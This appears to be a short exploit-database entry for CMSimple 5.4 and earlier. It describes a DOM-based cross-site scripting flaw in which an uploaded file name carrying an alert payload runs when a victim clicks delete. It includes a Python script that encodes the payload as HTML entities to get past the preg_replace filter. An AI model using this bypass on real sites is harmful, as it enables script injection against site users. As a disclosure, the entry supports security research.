# Exploit Title:
# Date: 22/10/2021
# Exploit Author: heinjame
# Vendor Homepage: https://www.cmsimple.org/en/
# Software Link: https://www.cmsimple.org/en/?Downloads
# Version: <=5.4
# Tested on: Linux os
Since the application is filtering user input with preg_replace, attackers can able to bypass restriction by using HTML to Unicode encoding.
So the application let's attacker perform DOM based XSS.
[Payload and POC]
File > images > Upload a file
Attack vector >> ')-alert(1)// (need to encode)>>
When the victim clicks the delete button,an alert will be executed.
Script to encode the payload
payload = input()
finalpayload = ""
for i in payload:
finalpayload = finalpayload + "&#" + str(ord(i)) + ";"